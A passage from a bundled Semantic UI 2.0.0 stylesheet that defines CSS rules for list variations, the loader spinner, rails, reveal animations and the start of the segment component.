a.active.item,\n.ui.inverted.link.list .active.item a:not(.ui) {\n  color: #ffffff;\n}\n\n/*-------------------\n      Selection\n--------------------*/\n\n.ui.selection.list .list > .item,\n.ui.selection.list > .item {\n  cursor: pointer;\n  background: transparent;\n  padding: 0.5em 0.5em;\n  margin: 0em;\n  color: rgba(0, 0, 0, 0.4);\n  border-radius: 0.5em;\n  -webkit-transition: 0.1s color ease, 0.1s padding-left ease, 0.1s background-color ease;\n  transition: 0.1s color ease, 0.1s padding-left ease, 0.1s background-color ease;\n}\n\n.ui.selection.list .list > .item:last-child,\n.ui.selection.list > .item:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.selection.list.list > .item:hover,\n.ui.selection.list > .item:hover {\n  background: rgba(0, 0, 0, 0.03);\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.selection.list .list > .item:active,\n.ui.selection.list > .item:active {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.ui.selection.list .list > .item.active,\n.ui.selection.list > .item.active {\n  background: rgba(0, 0, 0, 0.05);\n  color: rgba(0, 0, 0, 0.95);\n}\n\n/* Inverted */\n\n.ui.inverted.selection.list > .item,\n.ui.inverted.selection.list > .item {\n  background: transparent;\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.ui.inverted.selection.list > .item:hover,\n.ui.inverted.selection.list > .item:hover {\n  background: rgba(255, 255, 255, 0.02);\n  color: #ffffff;\n}\n\n.ui.inverted.selection.list > .item:active,\n.ui.inverted.selection.list > .item:active {\n  background: rgba(255, 255, 255, 0.08);\n  color: #ffffff;\n}\n\n.ui.inverted.selection.list > .item.active,\n.ui.inverted.selection.list > .item.active {\n  background: rgba(255, 255, 255, 0.08);\n  color: #ffffff;\n}\n\n/* Celled / Divided Selection List */\n\n.ui.celled.selection.list .list > .item,\n.ui.divided.selection.list .list > .item,\n.ui.celled.selection.list > .item,\n.ui.divided.selection.list > .item {\n  border-radius: 0em;\n}\n\n/*-------------------\n       Animated\n--------------------*/\n\n.ui.animated.list > .item {\n  -webkit-transition: 0.25s color ease 0.1s, 0.25s padding-left ease 0.1s, 0.25s background-color ease 0.1s;\n  transition: 0.25s color ease 0.1s, 0.25s padding-left ease 0.1s, 0.25s background-color ease 0.1s;\n}\n\n.ui.animated.list:not(.horizontal) > .item:hover {\n  padding-left: 1em;\n}\n\n/*-------------------\n       Fitted\n--------------------*/\n\n.ui.fitted.list:not(.selection) .list > .item,\n.ui.fitted.list:not(.selection) > .item {\n  padding-left: 0em;\n  padding-right: 0em;\n}\n\n.ui.fitted.selection.list .list > .item,\n.ui.fitted.selection.list > .item {\n  margin-left: -0.5em;\n  margin-right: -0.5em;\n}\n\n/*-------------------\n      Bulleted\n--------------------*/\n\nul.ui.list,\n.ui.bulleted.list {\n  margin-left: 1.25rem;\n}\n\nul.ui.list li,\n.ui.bulleted.list .list > .item,\n.ui.bulleted.list > .item {\n  position: relative;\n}\n\nul.ui.list li:before,\n.ui.bulleted.list .list > .item:before,\n.ui.bulleted.list > .item:before {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  pointer-events: none;\n  position: absolute;\n  top: auto;\n  left: auto;\n  margin-left: -1.25rem;\n  content: '•';\n  opacity: 1;\n  color: inherit;\n  vertical-align: top;\n}\n\nul.ui.list ul,\n.ui.bulleted.list .list {\n  padding-left: 1.25rem;\n}\n\n/* Horizontal Bulleted */\n\nul.ui.horizontal.bulleted.list,\n.ui.horizontal.bulleted.list {\n  margin-left: 0em;\n}\n\nul.ui.horizontal.bulleted.list li,\n.ui.horizontal.bulleted.list > .item {\n  margin-left: 1.75rem;\n}\n\nul.ui.horizontal.bulleted.list li:first-child,\n.ui.horizontal.bulleted.list > .item:first-child {\n  margin-left: 0em;\n}\n\nul.ui.horizontal.bulleted.list li::before,\n.ui.horizontal.bulleted.list > .item::before {\n  color: rgba(0, 0, 0, 0.87);\n}\n\nul.ui.horizontal.bulleted.list li:first-child::before,\n.ui.horizontal.bulleted.list > .item:first-child::before {\n  display: none;\n}\n\n/*-------------------\n       Ordered\n--------------------*/\n\nol.ui.list,\n.ui.ordered.list,\n.ui.ordered.list .list,\nol.ui.list ol {\n  counter-reset: ordered;\n  margin-left: 1.25rem;\n  list-style-type: none;\n}\n\nol.ui.list li,\n.ui.ordered.list .list > .item,\n.ui.ordered.list > .item {\n  list-style-type: none;\n  position: relative;\n}\n\nol.ui.list li:before,\n.ui.ordered.list .list > .item:before,\n.ui.ordered.list > .item:before {\n  position: absolute;\n  top: auto;\n  left: auto;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  pointer-events: none;\n  margin-left: -1.25rem;\n  counter-increment: ordered;\n  content: counters(ordered, \".\") \" \";\n  text-align: right;\n  color: rgba(0, 0, 0, 0.87);\n  vertical-align: middle;\n  opacity: 0.8;\n}\n\nol.ui.inverted.list li:before,\n.ui.ordered.inverted.list .list > .item:before,\n.ui.ordered.inverted.list > .item:before {\n  color: rgba(255, 255, 255, 0.7);\n}\n\n/* Child Lists */\n\nol.ui.list ol,\n.ui.ordered.list .list {\n  margin-left: 1em;\n}\n\nol.ui.list ol li:before,\n.ui.ordered.list .list > .item:before {\n  margin-left: -2em;\n}\n\n/* Horizontal Ordered */\n\nol.ui.horizontal.list,\n.ui.ordered.horizontal.list {\n  margin-left: 0em;\n}\n\nol.ui.horizontal.list li:before,\n.ui.ordered.horizontal.list .list > .item:before,\n.ui.ordered.horizontal.list > .item:before {\n  position: static;\n  margin: 0em 0.5em 0em 0em;\n}\n\n/*-------------------\n       Divided\n--------------------*/\n\n.ui.divided.list > .item {\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.divided.list .list > .item {\n  border-top: none;\n}\n\n.ui.divided.list .item .list > .item {\n  border-top: none;\n}\n\n.ui.divided.list .list > .item:first-child,\n.ui.divided.list > .item:first-child {\n  border-top: none;\n}\n\n/* Sub Menu */\n\n.ui.divided.list:not(.horizontal) .list > .item:first-child {\n  border-top-width: 1px;\n}\n\n/* Divided bulleted */\n\n.ui.divided.bulleted.list:not(.horizontal),\n.ui.divided.bulleted.list .list {\n  margin-left: 0em;\n  padding-left: 0em;\n}\n\n.ui.divided.bulleted.list > .item:not(.horizontal) {\n  padding-left: 1.25rem;\n}\n\n/* Divided Ordered */\n\n.ui.divided.ordered.list {\n  margin-left: 0em;\n}\n\n.ui.divided.ordered.list .list > .item,\n.ui.divided.ordered.list > .item {\n  padding-left: 1.25rem;\n}\n\n.ui.divided.ordered.list .item .list {\n  margin-left: 0em;\n  margin-right: 0em;\n  padding-bottom: 0.21428571em;\n}\n\n.ui.divided.ordered.list .item .list > .item {\n  padding-left: 1em;\n}\n\n/* Divided Selection */\n\n.ui.divided.selection.list .list > .item,\n.ui.divided.selection.list > .item {\n  margin: 0em;\n  border-radius: 0em;\n}\n\n/* Divided horizontal */\n\n.ui.divided.horizontal.list {\n  margin-left: 0em;\n}\n\n.ui.divided.horizontal.list > .item {\n  border-top: none;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  margin: 0em;\n  padding-left: 0.5em;\n  padding-right: 0.5em;\n  line-height: 0.6;\n}\n\n.ui.horizontal.divided.list > .item:first-child {\n  border-left: none;\n}\n\n/* Inverted */\n\n.ui.divided.inverted.list > .item,\n.ui.divided.inverted.list > .list,\n.ui.divided.inverted.horizontal.list > .item {\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n/*-------------------\n        Celled\n--------------------*/\n\n.ui.celled.list > .item,\n.ui.celled.list > .list {\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  padding-left: 0.5em;\n  padding-right: 0.5em;\n}\n\n.ui.celled.list > .item:last-child {\n  border-bottom: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/* Padding on all elements */\n\n.ui.celled.list > .item:first-child,\n.ui.celled.list > .item:last-child {\n  padding-top: 0.21428571em;\n  padding-bottom: 0.21428571em;\n}\n\n/* Sub Menu */\n\n.ui.celled.list .item .list > .item {\n  border-width: 0px;\n}\n\n.ui.celled.list .list > .item:first-child {\n  border-top-width: 0px;\n}\n\n/* Celled Bulleted */\n\n.ui.celled.bulleted.list {\n  margin-left: 0em;\n}\n\n.ui.celled.bulleted.list .list > .item,\n.ui.celled.bulleted.list > .item {\n  padding-left: 1.25rem;\n}\n\n.ui.celled.bulleted.list .item .list {\n  margin-left: -1.25rem;\n  margin-right: -1.25rem;\n  padding-bottom: 0.21428571em;\n}\n\n/* Celled Ordered */\n\n.ui.celled.ordered.list {\n  margin-left: 0em;\n}\n\n.ui.celled.ordered.list .list > .item,\n.ui.celled.ordered.list > .item {\n  padding-left: 1.25rem;\n}\n\n.ui.celled.ordered.list .item .list {\n  margin-left: 0em;\n  margin-right: 0em;\n  padding-bottom: 0.21428571em;\n}\n\n.ui.celled.ordered.list .list > .item {\n  padding-left: 1em;\n}\n\n/* Celled Horizontal */\n\n.ui.horizontal.celled.list {\n  margin-left: 0em;\n}\n\n.ui.horizontal.celled.list .list > .item,\n.ui.horizontal.celled.list > .item {\n  border-top: none;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  margin: 0em;\n  padding-left: 0.5em;\n  padding-right: 0.5em;\n  line-height: 0.6;\n}\n\n.ui.horizontal.celled.list .list > .item:last-child,\n.ui.horizontal.celled.list > .item:last-child {\n  border-bottom: none;\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/* Inverted */\n\n.ui.celled.inverted.list > .item,\n.ui.celled.inverted.list > .list {\n  border-color: 1px solid rgba(255, 255, 255, 0.1);\n}\n\n.ui.celled.inverted.horizontal.list .list > .item,\n.ui.celled.inverted.horizontal.list > .item {\n  border-color: 1px solid rgba(255, 255, 255, 0.1);\n}\n\n/*-------------------\n       Relaxed\n--------------------*/\n\n.ui.relaxed.list:not(.horizontal) > .item {\n  padding-top: 0.42857143em;\n  padding-bottom: 0.42857143em;\n}\n\n.ui.relaxed.list:not(.horizontal) .list > .item {\n  padding-top: 0.21428571em;\n  padding-bottom: 0.21428571em;\n}\n\n.ui.horizontal.relaxed.list > .item {\n  padding-left: 1rem;\n  padding-right: 1rem;\n}\n\n/* Very Relaxed */\n\n.ui[class*=\"very relaxed\"].list:not(.horizontal) > .item {\n  padding-top: 0.85714286em;\n  padding-bottom: 0.85714286em;\n}\n\n.ui[class*=\"very relaxed\"].list:not(.horizontal) .list > .item {\n  padding-top: 0.28571429em;\n  padding-bottom: 0.28571429em;\n}\n\n.ui.horizontal[class*=\"very relaxed\"].list .list > .item,\n.ui.horizontal[class*=\"very relaxed\"].list > .item {\n  padding-left: 1.5rem;\n  padding-right: 1.5rem;\n}\n\n/*-------------------\n      Sizes\n--------------------*/\n\n.ui.mini.list {\n  font-size: 0.71428571em;\n}\n\n.ui.tiny.list {\n  font-size: 0.85714286em;\n}\n\n.ui.small.list {\n  font-size: 0.92857143em;\n}\n\n.ui.list {\n  font-size: 1em;\n}\n\n.ui.large.list {\n  font-size: 1.14285714em;\n}\n\n.ui.big.list {\n  font-size: 1.28571429em;\n}\n\n.ui.huge.list {\n  font-size: 1.42857143em;\n}\n\n.ui.massive.list {\n  font-size: 1.71428571em;\n}\n\n.ui.mini.horizontal.list .list > .item,\n.ui.mini.horizontal.list > .item {\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.horizontal.list .list > .item,\n.ui.tiny.horizontal.list > .item {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.horizontal.list .list > .item,\n.ui.small.horizontal.list > .item {\n  font-size: 0.92857143rem;\n}\n\n.ui.horizontal.list .list > .item,\n.ui.horizontal.list > .item {\n  font-size: 1rem;\n}\n\n.ui.large.horizontal.list .list > .item,\n.ui.large.horizontal.list > .item {\n  font-size: 1.14285714rem;\n}\n\n.ui.big.horizontal.list .list > .item,\n.ui.big.horizontal.list > .item {\n  font-size: 1.28571429rem;\n}\n\n.ui.huge.horizontal.list .list > .item,\n.ui.huge.horizontal.list > .item {\n  font-size: 1.42857143rem;\n}\n\n.ui.massive.horizontal.list .list > .item,\n.ui.massive.horizontal.list > .item {\n  font-size: 1.71428571rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n    User Variable Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Loader\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Loader\n*******************************/\n\n/* Standard Size */\n\n.ui.loader {\n  display: none;\n  position: absolute;\n  top: 50%;\n  left: 50%;\n  margin: 0px;\n  text-align: center;\n  z-index: 1000;\n  -webkit-transform: translateX(-50%) translateY(-50%);\n  -ms-transform: translateX(-50%) translateY(-50%);\n  transform: translateX(-50%) translateY(-50%);\n}\n\n/* Static Shape */\n\n.ui.loader:before {\n  position: absolute;\n  content: '';\n  top: 0%;\n  left: 50%;\n  width: 100%;\n  height: 100%;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.1);\n}\n\n/* Active Shape */\n\n.ui.loader:after {\n  position: absolute;\n  content: '';\n  top: 0%;\n  left: 50%;\n  width: 100%;\n  height: 100%;\n  -webkit-animation: loader 0.6s linear;\n  animation: loader 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n}\n\n/* Active Animation */\n\n@-webkit-keyframes loader {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes loader {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n/* Sizes */\n\n.ui.loader:before,\n.ui.loader:after {\n  width: 2.2585em;\n  height: 2.2585em;\n  margin: 0em 0em 0em -1.12925em;\n}\n\n.ui.mini.loader:before,\n.ui.mini.loader:after {\n  width: 1.2857em;\n  height: 1.2857em;\n  margin: 0em 0em 0em -0.64285em;\n}\n\n.ui.small.loader:before,\n.ui.small.loader:after {\n  width: 1.7142em;\n  height: 1.7142em;\n  margin: 0em 0em 0em -0.8571em;\n}\n\n.ui.large.loader:before,\n.ui.large.loader:after {\n  width: 4.5714em;\n  height: 4.5714em;\n  margin: 0em 0em 0em -2.2857em;\n}\n\n/*-------------------\n      Coupling\n--------------------*/\n\n/* Show inside active dimmer */\n\n.ui.dimmer .loader {\n  display: block;\n}\n\n/* Black Dimmer */\n\n.ui.dimmer .ui.loader {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.dimmer .ui.loader:before {\n  border-color: rgba(255, 255, 255, 0.15);\n}\n\n.ui.dimmer .ui.loader:after {\n  border-color: #ffffff transparent transparent;\n}\n\n/* White Dimmer (Inverted) */\n\n.ui.inverted.dimmer .ui.loader {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.inverted.dimmer .ui.loader:before {\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.ui.inverted.dimmer .ui.loader:after {\n  border-color: #767676 transparent transparent;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*-------------------\n        Text\n--------------------*/\n\n.ui.text.loader {\n  width: auto !important;\n  height: auto !important;\n  text-align: center;\n  font-style: normal;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.indeterminate.loader:after {\n  -webkit-animation-direction: reverse;\n  animation-direction: reverse;\n  -webkit-animation-duration: 1.2s;\n  animation-duration: 1.2s;\n}\n\n.ui.loader.active,\n.ui.loader.visible {\n  display: block;\n}\n\n.ui.loader.disabled,\n.ui.loader.hidden {\n  display: none;\n}\n\n/*******************************\n            Variations\n*******************************/\n\n/*-------------------\n        Sizes\n--------------------*/\n\n/* Loader */\n\n.ui.inverted.dimmer .ui.mini.loader,\n.ui.mini.loader {\n  width: 1.2857em;\n  height: 1.2857em;\n  font-size: 0.71428571em;\n}\n\n.ui.inverted.dimmer .ui.small.loader,\n.ui.small.loader {\n  width: 1.7142em;\n  height: 1.7142em;\n  font-size: 0.92857143em;\n}\n\n.ui.inverted.dimmer .ui.loader,\n.ui.loader {\n  width: 2.2585em;\n  height: 2.2585em;\n  font-size: 1em;\n}\n\n.ui.inverted.dimmer .ui.loader.large,\n.ui.loader.large {\n  width: 4.5714em;\n  height: 4.5714em;\n  font-size: 1.14285714em;\n}\n\n/* Text Loader */\n\n.ui.mini.text.loader {\n  min-width: 1.2857em;\n  padding-top: 1.99998571em;\n}\n\n.ui.small.text.loader {\n  min-width: 1.7142em;\n  padding-top: 2.42848571em;\n}\n\n.ui.text.loader {\n  min-width: 2.2585em;\n  padding-top: 2.97278571em;\n}\n\n.ui.large.text.loader {\n  min-width: 4.5714em;\n  padding-top: 5.28568571em;\n}\n\n/*-------------------\n       Inverted\n--------------------*/\n\n.ui.inverted.loader {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n.ui.inverted.loader:before {\n  border-color: rgba(255, 255, 255, 0.15);\n}\n\n.ui.inverted.loader:after {\n  border-top-color: #ffffff;\n}\n\n/*-------------------\n       Inline\n--------------------*/\n\n.ui.inline.loader {\n  position: relative;\n  vertical-align: middle;\n  margin: 0em;\n  left: 0em;\n  top: 0em;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n}\n\n.ui.inline.loader.active,\n.ui.inline.loader.visible {\n  display: inline-block;\n}\n\n/* Centered Inline */\n\n.ui.centered.inline.loader.active,\n.ui.centered.inline.loader.visible {\n  display: block;\n  margin-left: auto;\n  margin-right: auto;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Rail\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Rails\n*******************************/\n\n.ui.rail {\n  position: absolute;\n  top: 0%;\n  width: 300px;\n  height: 100%;\n}\n\n.ui.left.rail {\n  left: auto;\n  right: 100%;\n  padding: 0em 2rem 0em 0em;\n  margin: 0em 2rem 0em 0em;\n}\n\n.ui.right.rail {\n  left: 100%;\n  right: auto;\n  padding: 0em 0em 0em 2rem;\n  margin: 0em 0em 0em 2rem;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n     Internal\n---------------*/\n\n.ui.left.internal.rail {\n  left: 0%;\n  right: auto;\n  padding: 0em 0em 0em 2rem;\n  margin: 0em 0em 0em 2rem;\n}\n\n.ui.right.internal.rail {\n  left: auto;\n  right: 0%;\n  padding: 0em 2rem 0em 0em;\n  margin: 0em 2rem 0em 0em;\n}\n\n/*--------------\n    Dividing\n---------------*/\n\n.ui.dividing.rail {\n  width: 302.5px;\n}\n\n.ui.left.dividing.rail {\n  padding: 0em 2.5rem 0em 0em;\n  margin: 0em 2.5rem 0em 0em;\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.right.dividing.rail {\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  padding: 0em 0em 0em 2.5rem;\n  margin: 0em 0em 0em 2.5rem;\n}\n\n/*--------------\n    Distance\n---------------*/\n\n.ui.close.rail {\n  width: 301px;\n}\n\n.ui.close.left.rail {\n  padding: 0em 1em 0em 0em;\n  margin: 0em 1em 0em 0em;\n}\n\n.ui.close.right.rail {\n  padding: 0em 0em 0em 1em;\n  margin: 0em 0em 0em 1em;\n}\n\n.ui.very.close.rail {\n  width: 300.5px;\n}\n\n.ui.very.close.left.rail {\n  padding: 0em 0.5em 0em 0em;\n  margin: 0em 0.5em 0em 0em;\n}\n\n.ui.very.close.right.rail {\n  padding: 0em 0em 0em 0.5em;\n  margin: 0em 0em 0em 0.5em;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n.ui.attached.left.rail,\n.ui.attached.right.rail {\n  padding: 0em;\n  margin: 0em;\n}\n\n/*--------------\n     Sizing\n---------------*/\n\n.ui.rail {\n  font-size: 1rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Reveal\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Reveal\n*******************************/\n\n.ui.reveal {\n  display: inline-block;\n  position: relative !important;\n  font-size: 0em !important;\n}\n\n.ui.reveal > .visible.content {\n  position: absolute !important;\n  top: 0em !important;\n  left: 0em !important;\n  z-index: 3 !important;\n  -webkit-transition: all 0.5s ease 0.1s;\n  transition: all 0.5s ease 0.1s;\n}\n\n.ui.reveal > .hidden.content {\n  position: relative !important;\n  z-index: 2 !important;\n}\n\n/* Make sure hovered element is on top of other reveal */\n\n.ui.active.reveal .visible.content,\n.ui.reveal:hover .visible.content {\n  z-index: 4 !important;\n}\n\n/*******************************\n              Types\n*******************************/\n\n/*--------------\n      Slide\n---------------*/\n\n.ui.slide.reveal {\n  position: relative !important;\n  overflow: hidden !important;\n  white-space: nowrap;\n}\n\n.ui.slide.reveal > .content {\n  display: block;\n  float: left;\n  margin: 0em;\n  -webkit-transition: -webkit-transform 0.5s ease 0.1s;\n  transition: transform 0.5s ease 0.1s;\n}\n\n.ui.slide.reveal > .visible.content {\n  position: relative !important;\n}\n\n.ui.slide.reveal > .hidden.content {\n  position: absolute !important;\n  left: 0% !important;\n  width: 100% !important;\n  -webkit-transform: translateX(100%) !important;\n  -ms-transform: translateX(100%) !important;\n  transform: translateX(100%) !important;\n}\n\n.ui.slide.active.reveal > .visible.content,\n.ui.slide.reveal:hover > .visible.content {\n  -webkit-transform: translateX(-100%) !important;\n  -ms-transform: translateX(-100%) !important;\n  transform: translateX(-100%) !important;\n}\n\n.ui.slide.active.reveal > .hidden.content,\n.ui.slide.reveal:hover > .hidden.content {\n  -webkit-transform: translateX(0%) !important;\n  -ms-transform: translateX(0%) !important;\n  transform: translateX(0%) !important;\n}\n\n.ui.slide.right.reveal > .visible.content {\n  -webkit-transform: translateX(0%) !important;\n  -ms-transform: translateX(0%) !important;\n  transform: translateX(0%) !important;\n}\n\n.ui.slide.right.reveal > .hidden.content {\n  -webkit-transform: translateX(-100%) !important;\n  -ms-transform: translateX(-100%) !important;\n  transform: translateX(-100%) !important;\n}\n\n.ui.slide.right.active.reveal > .visible.content,\n.ui.slide.right.reveal:hover > .visible.content {\n  -webkit-transform: translateX(100%) !important;\n  -ms-transform: translateX(100%) !important;\n  transform: translateX(100%) !important;\n}\n\n.ui.slide.right.active.reveal > .hidden.content,\n.ui.slide.right.reveal:hover > .hidden.content {\n  -webkit-transform: translateX(0%) !important;\n  -ms-transform: translateX(0%) !important;\n  transform: translateX(0%) !important;\n}\n\n.ui.slide.up.reveal > .hidden.content {\n  -webkit-transform: translateY(100%) !important;\n  -ms-transform: translateY(100%) !important;\n  transform: translateY(100%) !important;\n}\n\n.ui.slide.up.active.reveal > .visible.content,\n.ui.slide.up.reveal:hover > .visible.content {\n  -webkit-transform: translateY(-100%) !important;\n  -ms-transform: translateY(-100%) !important;\n  transform: translateY(-100%) !important;\n}\n\n.ui.slide.up.active.reveal > .hidden.content,\n.ui.slide.up.reveal:hover > .hidden.content {\n  -webkit-transform: translateY(0%) !important;\n  -ms-transform: translateY(0%) !important;\n  transform: translateY(0%) !important;\n}\n\n.ui.slide.down.reveal > .hidden.content {\n  -webkit-transform: translateY(-100%) !important;\n  -ms-transform: translateY(-100%) !important;\n  transform: translateY(-100%) !important;\n}\n\n.ui.slide.down.active.reveal > .visible.content,\n.ui.slide.down.reveal:hover > .visible.content {\n  -webkit-transform: translateY(100%) !important;\n  -ms-transform: translateY(100%) !important;\n  transform: translateY(100%) !important;\n}\n\n.ui.slide.down.active.reveal > .hidden.content,\n.ui.slide.down.reveal:hover > .hidden.content {\n  -webkit-transform: translateY(0%) !important;\n  -ms-transform: translateY(0%) !important;\n  transform: translateY(0%) !important;\n}\n\n/*--------------\n      Fade\n---------------*/\n\n.ui.fade.reveal > .visible.content {\n  opacity: 1;\n}\n\n.ui.fade.active.reveal > .visible.content,\n.ui.fade.reveal:hover > .visible.content {\n  opacity: 0;\n}\n\n/*--------------\n      Move\n---------------*/\n\n.ui.move.reveal {\n  position: relative !important;\n  overflow: hidden !important;\n  white-space: nowrap;\n}\n\n.ui.move.reveal > .content {\n  display: block;\n  float: left;\n  margin: 0em;\n  -webkit-transition: -webkit-transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;\n  transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;\n}\n\n.ui.move.reveal > .visible.content {\n  position: relative !important;\n}\n\n.ui.move.reveal > .hidden.content {\n  position: absolute !important;\n  left: 0% !important;\n  width: 100% !important;\n}\n\n.ui.move.active.reveal > .visible.content,\n.ui.move.reveal:hover > .visible.content {\n  -webkit-transform: translateX(-100%) !important;\n  -ms-transform: translateX(-100%) !important;\n  transform: translateX(-100%) !important;\n}\n\n.ui.move.right.active.reveal > .visible.content,\n.ui.move.right.reveal:hover > .visible.content {\n  -webkit-transform: translateX(100%) !important;\n  -ms-transform: translateX(100%) !important;\n  transform: translateX(100%) !important;\n}\n\n.ui.move.up.active.reveal > .visible.content,\n.ui.move.up.reveal:hover > .visible.content {\n  -webkit-transform: translateY(-100%) !important;\n  -ms-transform: translateY(-100%) !important;\n  transform: translateY(-100%) !important;\n}\n\n.ui.move.down.active.reveal > .visible.content,\n.ui.move.down.reveal:hover > .visible.content {\n  -webkit-transform: translateY(100%) !important;\n  -ms-transform: translateY(100%) !important;\n  transform: translateY(100%) !important;\n}\n\n/*--------------\n     Rotate\n---------------*/\n\n.ui.rotate.reveal > .visible.content {\n  -webkit-transition-duration: 0.5s;\n  transition-duration: 0.5s;\n  -webkit-transform: rotate(0deg);\n  -ms-transform: rotate(0deg);\n  transform: rotate(0deg);\n}\n\n.ui.rotate.reveal > .visible.content,\n.ui.rotate.right.reveal > .visible.content {\n  -webkit-transform-origin: bottom right;\n  -ms-transform-origin: bottom right;\n  transform-origin: bottom right;\n}\n\n.ui.rotate.active.reveal > .visible.conten,\n.ui.rotate.reveal:hover > .visible.content,\n.ui.rotate.right.active.reveal > .visible.content,\n.ui.rotate.right.reveal:hover > .visible.content {\n  -webkit-transform: rotate(110deg);\n  -ms-transform: rotate(110deg);\n  transform: rotate(110deg);\n}\n\n.ui.rotate.left.reveal > .visible.content {\n  -webkit-transform-origin: bottom left;\n  -ms-transform-origin: bottom left;\n  transform-origin: bottom left;\n}\n\n.ui.rotate.left.active.reveal > .visible.content,\n.ui.rotate.left.reveal:hover > .visible.content {\n  -webkit-transform: rotate(-110deg);\n  -ms-transform: rotate(-110deg);\n  transform: rotate(-110deg);\n}\n\n/*******************************\n              States\n*******************************/\n\n.ui.disabled.reveal {\n  opacity: 1 !important;\n}\n\n.ui.disabled.reveal > .content {\n  -webkit-transition: none !important;\n  transition: none !important;\n}\n\n.ui.disabled.active.reveal > .visible.content,\n.ui.disabled.reveal:hover > .visible.content {\n  position: static !important;\n  display: block !important;\n  opacity: 1 !important;\n  top: 0 !important;\n  left: 0 !important;\n  right: auto !important;\n  bottom: auto !important;\n  -webkit-transform: none !important;\n  -ms-transform: none !important;\n  transform: none !important;\n}\n\n.ui.disabled.active.reveal > .hidden.content,\n.ui.disabled.reveal:hover > .hidden.content {\n  display: none !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n     Visible\n---------------*/\n\n.ui.visible.reveal {\n  overflow: visible;\n}\n\n/*--------------\n     Instant\n---------------*/\n\n.ui.instant.reveal > .content {\n  -webkit-transition-delay: 0s !important;\n  transition-delay: 0s !important;\n}\n\n/*--------------\n     Sizing\n---------------*/\n\n.ui.reveal > .content {\n  font-size: 1rem !important;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Segment\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Segment\n*******************************/\n\n.ui.segment {\n  position: relative;\n  background-color: #ffffff;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  margin: 1rem 0em;\n  padding: 1em 1em;\n  border-radius: 0.28571429rem;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.segment:first-child {\n  margin-top: 0em;\n}\n\n.ui.segment:last-child {\n  margin-bottom: 0em;\n}\n\n/* Vertical */\n\n.ui.vertical.segment {\n  margin: 0em;\n  padding-left: 0em;\n  padding-right: 0em;\n  background-color: transparent;\n  border-radius: 0px;\n  box-shadow: none;\n  border: none;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.vertical.segment:last-child {\n  border-bottom: none;\n}\n\n/*-------------------\n    Loose Coupling\n--------------------*/\n\n/* Header */\n\n.ui.inverted.segment > .ui.header {\n  color: #ffffff;\n}\n\n/* Label */\n\n.ui[class*=\"bottom attached\"].segment > [class*=\"top attached\"].label {\n  border-top-left-radius: 0em;\n  border-top-right-radius: 0em;\n}\n\n.ui[class*=\"top attached\"].segment > [class*=\"bottom attached\"].label {\n  border-bottom-left-radius: 0em;\n  